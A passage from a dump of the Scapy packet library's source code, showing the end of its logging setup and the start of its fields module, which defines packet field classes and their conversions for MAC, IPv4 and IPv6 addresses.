   )\n        return message\n\n\nif WINDOWS:\n    # colorama is bundled within IPython, but\n    # logging.StreamHandler will be overwritten when called,\n    # so we can't wait for IPython to call it\n    try:\n        import colorama\n        colorama.init()\n    except ImportError:\n        pass\n\n# get Scapy's master logger\nlog_scapy = logging.getLogger(\"scapy\")\nlog_scapy.propagate = False\n# override the level if not already set\nif log_scapy.level == logging.NOTSET:\n    log_scapy.setLevel(logging.WARNING)\n# add a custom handler controlled by Scapy's config\n_handler = logging.StreamHandler()\n_handler.setFormatter(\n    ScapyColoredFormatter(\n        \"%(levelname)s: %(message)s\",\n    )\n)\nlog_scapy.addHandler(_handler)\n# logs at runtime\nlog_runtime = logging.getLogger(\"scapy.runtime\")\nlog_runtime.addFilter(ScapyFreqFilter())\n# logs in interactive functions\nlog_interactive = logging.getLogger(\"scapy.interactive\")\nlog_interactive.setLevel(logging.DEBUG)\n# logs when loading Scapy\nlog_loading = logging.getLogger(\"scapy.loading\")\n\n\ndef warning(x, *args, **kargs):\n    # type: (str, *Any, **Any) -> None\n    \"\"\"\n    Prints a warning during runtime.\n    \"\"\"\n    log_runtime.warning(x, *args, **kargs)\n"
  },
  {
    "path": "scapy/fields.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n\n\n\"\"\"\nFields: basic data structures that make up parts of packets.\n\"\"\"\n\nimport calendar\nimport collections\nimport copy\nimport datetime\nimport inspect\nimport math\nimport socket\nimport struct\nimport time\nimport warnings\n\nfrom types import MethodType\nfrom uuid import UUID\nfrom enum import Enum\n\nfrom scapy.config import conf\nfrom scapy.dadict import DADict\nfrom scapy.volatile import RandBin, RandByte, RandEnumKeys, RandInt, \\\n    RandIP, RandIP6, RandLong, RandMAC, RandNum, RandShort, RandSInt, \\\n    RandSByte, RandTermString, RandUUID, VolatileValue, RandSShort, \\\n    RandSLong, RandFloat\nfrom scapy.data import EPOCH\nfrom scapy.error import log_runtime, Scapy_Exception\nfrom scapy.compat import bytes_hex, plain_str, raw, bytes_encode\nfrom scapy.pton_ntop import inet_ntop, inet_pton\nfrom scapy.utils import inet_aton, inet_ntoa, lhex, mac2str, str2mac, EDecimal\nfrom scapy.utils6 import in6_6to4ExtractAddr, in6_isaddr6to4, \\\n    in6_isaddrTeredo, in6_ptop, Net6, teredoAddrExtractInfo\nfrom scapy.base_classes import (\n    _ScopedIP,\n    BasePacket,\n    Field_metaclass,\n    Net,\n    ScopedIP,\n)\n\n# Typing imports\nfrom typing import (\n    Any,\n    AnyStr,\n    Callable,\n    Dict,\n    List,\n    Generic,\n    Optional,\n    Set,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    # func\n    cast,\n    TYPE_CHECKING,\n)\n\nif TYPE_CHECKING:\n    # Do not import on runtime ! (import loop)\n    from scapy.packet import Packet\n\n\nclass RawVal:\n    r\"\"\"\n    A raw value that will not be processed by the field and inserted\n    as-is in the packet string.\n\n    Example::\n\n        >>> a = IP(len=RawVal(\"####\"))\n        >>> bytes(a)\n        b'F\\x00####\\x00\\x01\\x00\\x005\\xb5\\x00\\x00\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00'\n\n    \"\"\"\n\n    def __init__(self, val=b\"\"):\n        # type: (bytes) -> None\n        self.val = bytes_encode(val)\n\n    def __str__(self):\n        # type: () -> str\n        return str(self.val)\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return self.val\n\n    def __len__(self):\n        # type: () -> int\n        return len(self.val)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<RawVal [%r]>\" % self.val\n\n\nclass ObservableDict(Dict[int, str]):\n    \"\"\"\n    Helper class to specify a protocol extendable for runtime modifications\n    \"\"\"\n\n    def __init__(self, *args, **kw):\n        # type: (*Dict[int, str], **Any) -> None\n        self.observers = []  # type: List[_EnumField[Any]]\n        super(ObservableDict, self).__init__(*args, **kw)\n\n    def observe(self, observer):\n        # type: (_EnumField[Any]) -> None\n        self.observers.append(observer)\n\n    def __setitem__(self, key, value):\n        # type: (int, str) -> None\n        for o in self.observers:\n            o.notify_set(self, key, value)\n        super(ObservableDict, self).__setitem__(key, value)\n\n    def __delitem__(self, key):\n        # type: (int) -> None\n        for o in self.observers:\n            o.notify_del(self, key)\n        super(ObservableDict, self).__delitem__(key)\n\n    def update(self, anotherDict):  # type: ignore\n        for k in anotherDict:\n            self[k] = anotherDict[k]\n\n\n############\n#  Fields  #\n############\n\nI = TypeVar('I')  # Internal storage  # noqa: E741\nM = TypeVar('M')  # Machine storage\n\n\nclass Field(Generic[I, M], metaclass=Field_metaclass):\n    \"\"\"\n    For more information on how this works, please refer to the\n    'Adding new protocols' chapter in the online documentation:\n\n    https://scapy.readthedocs.io/en/stable/build_dissect.html\n    \"\"\"\n    __slots__ = [\n        \"name\",\n        \"fmt\",\n        \"default\",\n        \"sz\",\n        \"owners\",\n        \"struct\"\n    ]\n    islist = 0\n    ismutable = False\n    holds_packets = 0\n\n    def __init__(self, name, default, fmt=\"H\"):\n        # type: (str, Any, str) -> None\n        if not isinstance(name, str):\n            raise ValueError(\"name should be a string\")\n        self.name = name\n        if fmt[0] in \"@=<>!\":\n            self.fmt = fmt\n        else:\n            self.fmt = \"!\" + fmt\n        self.struct = struct.Struct(self.fmt)\n        self.default = self.any2i(None, default)\n        self.sz = struct.calcsize(self.fmt)  # type: int\n        self.owners = []  # type: List[Type[Packet]]\n\n    def register_owner(self, cls):\n        # type: (Type[Packet]) -> None\n        self.owners.append(cls)\n\n    def i2len(self,\n              pkt,  # type: Packet\n              x,  # type: Any\n              ):\n        # type: (...) -> int\n        \"\"\"Convert internal value to a length usable by a FieldLenField\"\"\"\n        if isinstance(x, RawVal):\n            return len(x)\n        return self.sz\n\n    def i2count(self, pkt, x):\n        # type: (Optional[Packet], I) -> int\n        \"\"\"Convert internal value to a number of elements usable by a FieldLenField.\n        Always 1 except for list fields\"\"\"\n        return 1\n\n    def h2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> I\n        \"\"\"Convert human value to internal value\"\"\"\n        return cast(I, x)\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], I) -> Any\n        \"\"\"Convert internal value to human value\"\"\"\n        return x\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], M) -> I\n        \"\"\"Convert machine value to internal value\"\"\"\n        return cast(I, x)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[I]) -> M\n        \"\"\"Convert internal value to machine value\"\"\"\n        if x is None:\n            return cast(M, 0)\n        elif isinstance(x, str):\n            return cast(M, bytes_encode(x))\n        return cast(M, x)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Optional[I]\n        \"\"\"Try to understand the most input values possible and make an internal value from them\"\"\"  # noqa: E501\n        return self.h2i(pkt, x)\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], I) -> str\n        \"\"\"Convert internal value to a nice representation\"\"\"\n        return repr(self.i2h(pkt, x))\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[I]) -> bytes\n        \"\"\"Add an internal value to a string\n\n        Copy the network representation of field `val` (belonging to layer\n        `pkt`) to the raw string packet `s`, and return the new string packet.\n        \"\"\"\n        try:\n            return s + self.struct.pack(self.i2m(pkt, val))\n        except struct.error as ex:\n            raise ValueError(\n                \"Incorrect type of value for field %s:\\n\" % self.name +\n                \"struct.error('%s')\\n\" % ex +\n                \"To inject bytes into the field regardless of the type, \" +\n                \"use RawVal. See help(RawVal)\"\n            )\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, I]\n        \"\"\"Extract an internal value from a string\n\n        Extract from the raw packet `s` the field value belonging to layer\n        `pkt`.\n\n        Returns a two-element list,\n        first the raw packet string after having removed the extracted field,\n        second the extracted field itself in internal representation.\n        \"\"\"\n        return s[self.sz:], self.m2i(pkt, self.struct.unpack(s[:self.sz])[0])\n\n    def do_copy(self, x):\n        # type: (I) -> I\n        if isinstance(x, list):\n            x = x[:]  # type: ignore\n            for i in range(len(x)):\n                if isinstance(x[i], BasePacket):\n                    x[i] = x[i].copy()\n            return x  # type: ignore\n        if hasattr(x, \"copy\"):\n            return x.copy()  # type: ignore\n        return x\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s (%s).%s>\" % (\n            self.__class__.__name__,\n            \",\".join(x.__name__ for x in self.owners),\n            self.name\n        )\n\n    def copy(self):\n        # type: () -> Field[I, M]\n        return copy.copy(self)\n\n    def randval(self):\n        # type: () -> VolatileValue[Any]\n        \"\"\"Return a volatile object whose value is both random and suitable for this field\"\"\"  # noqa: E501\n        fmtt = self.fmt[-1]\n        if fmtt in \"BbHhIiQq\":\n            return {\"B\": RandByte, \"b\": RandSByte,\n                    \"H\": RandShort, \"h\": RandSShort,\n                    \"I\": RandInt, \"i\": RandSInt,\n                    \"Q\": RandLong, \"q\": RandSLong}[fmtt]()\n        elif fmtt == \"s\":\n            if self.fmt[0] in \"0123456789\":\n                value = int(self.fmt[:-1])\n            else:\n                value = int(self.fmt[1:-1])\n            return RandBin(value)\n        else:\n            raise ValueError(\n                \"no random class for [%s] (fmt=%s).\" % (\n                    self.name, self.fmt\n                )\n            )\n\n\nclass _FieldContainer(object):\n    \"\"\"\n    A field that acts as a container for another field\n    \"\"\"\n    __slots__ = [\"fld\"]\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        return getattr(self.fld, attr)\n\n\nAnyField = Union[Field[Any, Any], _FieldContainer]\n\n\nclass Emph(_FieldContainer):\n    \"\"\"Empathize sub-layer for display\"\"\"\n    __slots__ = [\"fld\"]\n\n    def __init__(self, fld):\n        # type: (Any) -> None\n        self.fld = fld\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        return bool(self.fld == other)\n\n    def __hash__(self):\n        # type: () -> int\n        return hash(self.fld)\n\n\nclass MayEnd(_FieldContainer):\n    \"\"\"\n    Allow packet dissection to end after the dissection of this field\n    if no bytes are left.\n\n    A good example would be a length field that can be 0 or a set value,\n    and where it would be too annoying to use multiple ConditionalFields\n\n    Important note: any field below this one MUST default\n    to an empty value, else the behavior will be unexpected.\n    \"\"\"\n    __slots__ = [\"fld\"]\n\n    def __init__(self, fld):\n        # type: (Any) -> None\n        self.fld = fld\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        return bool(self.fld == other)\n\n    def __hash__(self):\n        # type: () -> int\n        return hash(self.fld)\n\n\nclass ActionField(_FieldContainer):\n    __slots__ = [\"fld\", \"_action_method\", \"_privdata\"]\n\n    def __init__(self, fld, action_method, **kargs):\n        # type: (Field[Any, Any], str, **Any) -> None\n        self.fld = fld\n        self._action_method = action_method\n        self._privdata = kargs\n\n    def any2i(self, pkt, val):\n        # type: (Optional[Packet], int) -> Any\n        getattr(pkt, self._action_method)(val, self.fld, **self._privdata)\n        return getattr(self.fld, \"any2i\")(pkt, val)\n\n\nclass ConditionalField(_FieldContainer):\n    __slots__ = [\"fld\", \"cond\"]\n\n    def __init__(self,\n                 fld,  # type: AnyField\n                 cond  # type: Callable[[Packet], bool]\n                 ):\n        # type: (...) -> None\n        self.fld = fld\n        self.cond = cond\n\n    def _evalcond(self, pkt):\n        # type: (Packet) -> bool\n        return bool(self.cond(pkt))\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Any\n        # BACKWARD COMPATIBILITY\n        # Note: we shouldn't need this function. (it's not correct)\n        # However, having i2h implemented (#2364), it changes the default\n        # behavior and broke all packets that wrongly use two ConditionalField\n        # with the same name. Those packets are the problem: they are wrongly\n        # built (they should either be reusing the same conditional field, or\n        # using a MultipleTypeField).\n        # But I don't want to dive into fixing all of them just yet,\n        # so for now, let's keep this this way, even though it's not correct.\n        if type(self.fld) is Field:\n            return x\n        return self.fld.any2i(pkt, x)\n\n    def i2h(self, pkt, val):\n        # type: (Optional[Packet], Any) -> Any\n        if pkt and not self._evalcond(pkt):\n            return None\n        return self.fld.i2h(pkt, val)\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, Any]\n        if self._evalcond(pkt):\n            return self.fld.getfield(pkt, s)\n        else:\n            return s, None\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Any) -> bytes\n        if self._evalcond(pkt):\n            return self.fld.addfield(pkt, s, val)\n        else:\n            return s\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        return getattr(self.fld, attr)\n\n\nclass MultipleTypeField(_FieldContainer):\n    \"\"\"\n    MultipleTypeField are used for fields that can be implemented by\n    various Field subclasses, depending on conditions on the packet.\n\n    It is initialized with `flds` and `dflt`.\n\n    :param dflt: is the default field type, to be used when none of the\n                 conditions matched the current packet.\n    :param flds: is a list of tuples (`fld`, `cond`) or (`fld`, `cond`, `hint`)\n                 where `fld` if a field type, and `cond` a \"condition\" to\n                 determine if `fld` is the field type that should be used.\n\n    ``cond`` is either:\n\n    - a callable `cond_pkt` that accepts one argument (the packet) and\n      returns True if `fld` should be used, False otherwise.\n    - a tuple (`cond_pkt`, `cond_pkt_val`), where `cond_pkt` is the same\n      as in the previous case and `cond_pkt_val` is a callable that\n      accepts two arguments (the packet, and the value to be set) and\n      returns True if `fld` should be used, False otherwise.\n\n    See scapy.layers.l2.ARP (type \"help(ARP)\" in Scapy) for an example of\n    use.\n    \"\"\"\n\n    __slots__ = [\"flds\", \"dflt\", \"hints\", \"name\", \"default\"]\n\n    def __init__(\n        self,\n        flds: List[Union[\n            Tuple[Field[Any, Any], Any, str],\n            Tuple[Field[Any, Any], Any]\n        ]],\n        dflt: Field[Any, Any]\n    ) -> None:\n        self.hints = {\n            x[0]: x[2]\n            for x in flds\n            if len(x) == 3\n        }\n        self.flds = [\n            (x[0], x[1]) for x in flds\n        ]\n        self.dflt = dflt\n        self.default = None  # So that we can detect changes in defaults\n        self.name = self.dflt.name\n        if any(x[0].name != self.name for x in self.flds):\n            warnings.warn(\n                (\"All fields should have the same name in a \"\n                 \"MultipleTypeField (%s). Use hints.\") % self.name,\n                SyntaxWarning\n            )\n\n    def _iterate_fields_cond(self, pkt, val, use_val):\n        # type: (Optional[Packet], Any, bool) -> Field[Any, Any]\n        \"\"\"Internal function used by _find_fld_pkt & _find_fld_pkt_val\"\"\"\n        # Iterate through the fields\n        for fld, cond in self.flds:\n            if isinstance(cond, tuple):\n                if use_val:\n                    if val is None:\n                        val = self.dflt.default\n                    if cond[1](pkt, val):\n                        return fld\n                    continue\n                else:\n                    cond = cond[0]\n            if cond(pkt):\n                return fld\n        return self.dflt\n\n    def _find_fld_pkt(self, pkt):\n        # type: (Optional[Packet]) -> Field[Any, Any]\n        \"\"\"Given a Packet instance `pkt`, returns the Field subclass to be\nused. If you know the value to be set (e.g., in .addfield()), use\n._find_fld_pkt_val() instead.\n\n        \"\"\"\n        return self._iterate_fields_cond(pkt, None, False)\n\n    def _find_fld_pkt_val(self,\n                          pkt,  # type: Optional[Packet]\n                          val,  # type: Any\n                          ):\n        # type: (...) -> Tuple[Field[Any, Any], Any]\n        \"\"\"Given a Packet instance `pkt` and the value `val` to be set,\nreturns the Field subclass to be used, and the updated `val` if necessary.\n\n        \"\"\"\n        fld = self._iterate_fields_cond(pkt, val, True)\n        if val is None:\n            val = fld.default\n        return fld, val\n\n    def _find_fld(self):\n        # type: () -> Field[Any, Any]\n        \"\"\"Returns the Field subclass to be used, depending on the Packet\ninstance, or the default subclass.\n\nDEV: since the Packet instance is not provided, we have to use a hack\nto guess it. It should only be used if you cannot provide the current\nPacket instance (for example, because of the current Scapy API).\n\nIf you have the current Packet instance, use ._find_fld_pkt_val() (if\nthe value to set is also known) of ._find_fld_pkt() instead.\n\n        \"\"\"\n        # Hack to preserve current Scapy API\n        # See https://stackoverflow.com/a/7272464/3223422\n        frame = inspect.currentframe().f_back.f_back  # type: ignore\n        while frame is not None:\n            try:\n                pkt = frame.f_locals['self']\n            except KeyError:\n                pass\n            else:\n                if isinstance(pkt, tuple(self.dflt.owners)):\n                    if not pkt.default_fields:\n                        # Packet not initialized\n                        return self.dflt\n                    return self._find_fld_pkt(pkt)\n            frame = frame.f_back\n        return self.dflt\n\n    def getfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 ):\n        # type: (...) -> Tuple[bytes, Any]\n        return self._find_fld_pkt(pkt).getfield(pkt, s)\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Any) -> bytes\n        fld, val = self._find_fld_pkt_val(pkt, val)\n        return fld.addfield(pkt, s, val)\n\n    def any2i(self, pkt, val):\n        # type: (Optional[Packet], Any) -> Any\n        fld, val = self._find_fld_pkt_val(pkt, val)\n        return fld.any2i(pkt, val)\n\n    def h2i(self, pkt, val):\n        # type: (Optional[Packet], Any) -> Any\n        fld, val = self._find_fld_pkt_val(pkt, val)\n        return fld.h2i(pkt, val)\n\n    def i2h(self,\n            pkt,  # type: Packet\n            val,  # type: Any\n            ):\n        # type: (...) -> Any\n        fld, val = self._find_fld_pkt_val(pkt, val)\n        return fld.i2h(pkt, val)\n\n    def i2m(self, pkt, val):\n        # type: (Optional[Packet], Optional[Any]) -> Any\n        fld, val = self._find_fld_pkt_val(pkt, val)\n        return fld.i2m(pkt, val)\n\n    def i2len(self, pkt, val):\n        # type: (Packet, Any) -> int\n        fld, val = self._find_fld_pkt_val(pkt, val)\n        return fld.i2len(pkt, val)\n\n    def i2repr(self, pkt, val):\n        # type: (Optional[Packet], Any) -> str\n        fld, val = self._find_fld_pkt_val(pkt, val)\n        hint = \"\"\n        if fld in self.hints:\n            hint = \" (%s)\" % self.hints[fld]\n        return fld.i2repr(pkt, val) + hint\n\n    def register_owner(self, cls):\n        # type: (Type[Packet]) -> None\n        for fld, _ in self.flds:\n            fld.owners.append(cls)\n        self.dflt.owners.append(cls)\n\n    def get_fields_list(self):\n        # type: () -> List[Any]\n        return [self]\n\n    @property\n    def fld(self):\n        # type: () -> Field[Any, Any]\n        return self._find_fld()\n\n\nclass PadField(_FieldContainer):\n    \"\"\"Add bytes after the proxified field so that it ends at the specified\n       alignment from its beginning\"\"\"\n    __slots__ = [\"fld\", \"_align\", \"_padwith\"]\n\n    def __init__(self, fld, align, padwith=None):\n        # type: (AnyField, int, Optional[bytes]) -> None\n        self.fld = fld\n        self._align = align\n        self._padwith = padwith or b\"\\x00\"\n\n    def padlen(self, flen, pkt):\n        # type: (int, Packet) -> int\n        return -flen % self._align\n\n    def getfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 ):\n        # type: (...) -> Tuple[bytes, Any]\n        remain, val = self.fld.getfield(pkt, s)\n        padlen = self.padlen(len(s) - len(remain), pkt)\n        return remain[padlen:], val\n\n    def addfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 val,  # type: Any\n                 ):\n        # type: (...) -> bytes\n        sval = self.fld.addfield(pkt, b\"\", val)\n        return s + sval + (\n            self.padlen(len(sval), pkt) * self._padwith\n        )\n\n\nclass ReversePadField(PadField):\n    \"\"\"Add bytes BEFORE the proxified field so that it starts at the specified\n       alignment from its beginning\"\"\"\n\n    def original_length(self, pkt):\n        # type: (Packet) -> int\n        return len(pkt.original)\n\n    def getfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 ):\n        # type: (...) -> Tuple[bytes, Any]\n        # We need to get the length that has already been dissected\n        padlen = self.padlen(self.original_length(pkt) - len(s), pkt)\n        return self.fld.getfield(pkt, s[padlen:])\n\n    def addfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 val,  # type: Any\n                 ):\n        # type: (...) -> bytes\n        sval = self.fld.addfield(pkt, b\"\", val)\n        return s + struct.pack(\"%is\" % (\n            self.padlen(len(s), pkt)\n        ), self._padwith) + sval\n\n\nclass TrailerBytes(bytes):\n    \"\"\"\n    Reverses slice operations to take from the back of the packet,\n    not the front\n    \"\"\"\n\n    def __getitem__(self, item):  # type: ignore\n        # type: (Union[int, slice]) -> Union[int, bytes]\n        if isinstance(item, int):\n            if item < 0:\n                item = 1 + item\n            else:\n                item = len(self) - 1 - item\n        elif isinstance(item, slice):\n            start, stop, step = item.start, item.stop, item.step\n            new_start = -stop if stop else None\n            new_stop = -start if start else None\n            item = slice(new_start, new_stop, step)\n        return super(self.__class__, self).__getitem__(item)\n\n\nclass TrailerField(_FieldContainer):\n    \"\"\"Special Field that gets its value from the end of the *packet*\n    (Note: not layer, but packet).\n\n    Mostly used for FCS\n    \"\"\"\n    __slots__ = [\"fld\"]\n\n    def __init__(self, fld):\n        # type: (Field[Any, Any]) -> None\n        self.fld = fld\n\n    # Note: this is ugly. Very ugly.\n    # Do not copy this crap elsewhere, so that if one day we get\n    # brave enough to refactor it, it'll be easier.\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, int]\n        previous_post_dissect = pkt.post_dissect\n\n        def _post_dissect(self, s):\n            # type: (Packet, bytes) -> bytes\n            # Reset packet to allow post_build\n            self.raw_packet_cache = None\n            self.post_dissect = previous_post_dissect  # type: ignore\n            return previous_post_dissect(s)\n        pkt.post_dissect = MethodType(_post_dissect, pkt)  # type: ignore\n        s = TrailerBytes(s)\n        s, val = self.fld.getfield(pkt, s)\n        return bytes(s), val\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[int]) -> bytes\n        previous_post_build = pkt.post_build\n        value = self.fld.addfield(pkt, b\"\", val)\n\n        def _post_build(self, p, pay):\n            # type: (Packet, bytes, bytes) -> bytes\n            pay += value\n            self.post_build = previous_post_build  # type: ignore\n            return previous_post_build(p, pay)\n        pkt.post_build = MethodType(_post_build, pkt)  # type: ignore\n        return s\n\n\nclass FCSField(TrailerField):\n    \"\"\"\n    A FCS field that gets appended at the end of the *packet* (not layer).\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        super(FCSField, self).__init__(Field(*args, **kwargs))\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return lhex(self.i2h(pkt, x))\n\n\nclass DestField(Field[str, bytes]):\n    __slots__ = [\"defaultdst\"]\n    # Each subclass must have its own bindings attribute\n    bindings = {}  # type: Dict[Type[Packet], Tuple[str, Any]]\n\n    def __init__(self, name, default):\n        # type: (str, str) -> None\n        self.defaultdst = default\n\n    def dst_from_pkt(self, pkt):\n        # type: (Packet) -> str\n        for addr, condition in self.bindings.get(pkt.payload.__class__, []):\n            try:\n                if all(pkt.payload.getfieldval(field) == value\n                       for field, value in condition.items()):\n                    return addr  # type: ignore\n            except AttributeError:\n                pass\n        return self.defaultdst\n\n    @classmethod\n    def bind_addr(cls, layer, addr, **condition):\n        # type: (Type[Packet], str, **Any) -> None\n        cls.bindings.setdefault(layer, []).append(  # type: ignore\n            (addr, condition)\n        )\n\n\nclass MACField(Field[Optional[str], bytes]):\n    def __init__(self, name, default):\n        # type: (str, Optional[Any]) -> None\n        Field.__init__(self, name, default, \"6s\")\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> bytes\n        if not x:\n            return b\"\\0\\0\\0\\0\\0\\0\"\n        try:\n            y = mac2str(x)\n        except (struct.error, OverflowError, ValueError):\n            y = bytes_encode(x)\n        return y\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        return str2mac(x)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> str\n        if isinstance(x, bytes) and len(x) == 6:\n            return self.m2i(pkt, x)\n        return cast(str, x)\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> str\n        x = self.i2h(pkt, x)\n        if x is None:\n            return repr(x)\n        if self in conf.resolve:\n            x = conf.manufdb._resolve_MAC(x)\n        return x\n\n    def randval(self):\n        # type: () -> RandMAC\n        return RandMAC()\n\n\nclass LEMACField(MACField):\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> bytes\n        return MACField.i2m(self, pkt, x)[::-1]\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        return MACField.m2i(self, pkt, x[::-1])\n\n\nclass IPField(Field[Union[str, Net], bytes]):\n    def __init__(self, name, default):\n        # type: (str, Optional[str]) -> None\n        Field.__init__(self, name, default, \"4s\")\n\n    def h2i(self, pkt, x):\n        # type: (Optional[Packet], Union[AnyStr, List[AnyStr]]) -> Any\n        if isinstance(x, bytes):\n            x = plain_str(x)  # type: ignore\n        if isinstance(x, _ScopedIP):\n            return x\n        elif isinstance(x, str):\n            x = ScopedIP(x)\n            try:\n                inet_aton(x)\n            except socket.error:\n                return Net(x)\n        elif isinstance(x, tuple):\n            if len(x) != 2:\n                raise ValueError(\"Invalid IP format\")\n            return Net(*x)\n        elif isinstance(x, list):\n            return [self.h2i(pkt, n) for n in x]\n        return x\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net]]) -> str\n        return cast(str, x)\n\n    def resolve(self, x):\n        # type: (str) -> str\n        if self in conf.resolve:\n            try:\n                ret = socket.gethostbyaddr(x)[0]\n            except Exception:\n                pass\n            else:\n                if ret:\n                    return ret\n        return x\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net]]) -> bytes\n        if x is None:\n            return b'\\x00\\x00\\x00\\x00'\n        return inet_aton(plain_str(x))\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        return inet_ntoa(x)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> Any\n        return self.h2i(pkt, x)\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], Union[str, Net]) -> str\n        if isinstance(x, _ScopedIP) and x.scope:\n            return repr(x)\n        r = self.resolve(self.i2h(pkt, x))\n        return r if isinstance(r, str) else repr(r)\n\n    def randval(self):\n        # type: () -> RandIP\n        return RandIP()\n\n\nclass SourceIPField(IPField):\n    def __init__(self, name):\n        # type: (str) -> None\n        IPField.__init__(self, name, None)\n\n    def __findaddr(self, pkt):\n        # type: (Packet) -> Optional[str]\n        if conf.route is None:\n            # unused import, only to initialize conf.route\n            import scapy.route  # noqa: F401\n        return pkt.route()[1] or conf.route.route()[1]\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net]]) -> bytes\n        if x is None and pkt is not None:\n            x = self.__findaddr(pkt)\n        return super(SourceIPField, self).i2m(pkt, x)\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net]]) -> str\n        if x is None and pkt is not None:\n            x = self.__findaddr(pkt)\n        return super(SourceIPField, self).i2h(pkt, x)\n\n\nclass IP6Field(Field[Optional[Union[str, Net6]], bytes]):\n    def __init__(self, name, default):\n        # type: (str, Optional[str]) -> None\n        Field.__init__(self, name, default, \"16s\")\n\n    def h2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> str\n        if isinstance(x, bytes):\n            x = plain_str(x)\n        if isinstance(x, _ScopedIP):\n            return x\n        elif isinstance(x, str):\n            x = ScopedIP(x)\n            try:\n                x = ScopedIP(in6_ptop(x), scope=x.scope)\n            except socket.error:\n                return Net6(x)  # type: ignore\n        elif isinstance(x, tuple):\n            if len(x) != 2:\n                raise ValueError(\"Invalid IPv6 format\")\n            return Net6(*x)  # type: ignore\n        elif isinstance(x, list):\n            x = [self.h2i(pkt, n) for n in x]\n        return x  # type: ignore\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str\n        return cast(str, x)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net6]]) -> bytes\n        if x is None:\n            x = \"::\"\n        return inet_pton(socket.AF_INET6, plain_str(x))\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        return inet_ntop(socket.AF_INET6, x)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> str\n        return self.h2i(pkt, x)\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str\n        if x is None:\n            return self.i2h(pkt, x)\n        elif not isinstance(x, Net6) and not isinstance(x, list):\n            if in6_isaddrTeredo(x):   # print Teredo info\n                server, _, maddr, mport = teredoAddrExtractInfo(x)\n                return \"%s [Teredo srv: %s cli: %s:%s]\" % (self.i2h(pkt, x), server, maddr, mport)  # noqa: E501\n            elif in6_isaddr6to4(x):   # print encapsulated address\n                vaddr = in6_6to4ExtractAddr(x)\n                return \"%s [6to4 GW: %s]\" % (self.i2h(pkt, x), vaddr)\n            elif isinstance(x, _ScopedIP) and x.scope:\n                return repr(x)\n        r = self.i2h(pkt, x)          # No specific information to return\n        return r if isinstance(r, str) else repr(r)\n\n    def randval(self):\n        # type: () -> RandIP6\n        return RandIP6()\n\n\nclass SourceIP6Field(IP6Field):\n    def __init__(self, name):\n        # type: (str) -> None\n        IP6Field.__init__(self, name, None)\n\n    def __findaddr(self, pkt):\n        # type: (Packet) -> Optional[str]\n        if conf.route6 is None:\n            # unused import, only to initialize conf.route\n            import scapy.route6  # noqa: F401\n        return pkt.route()[1]\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net6]]) -> bytes\n        if x is None and pkt is not None:\n            x = self.__findaddr(pkt)\n        return super(SourceIP6Field, self).i2m(pkt, x)\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str\n        if x is None and pkt is not None:\n            x = self.__findaddr(pkt)\n        return super(SourceIP6Field, self).i2h(pkt, 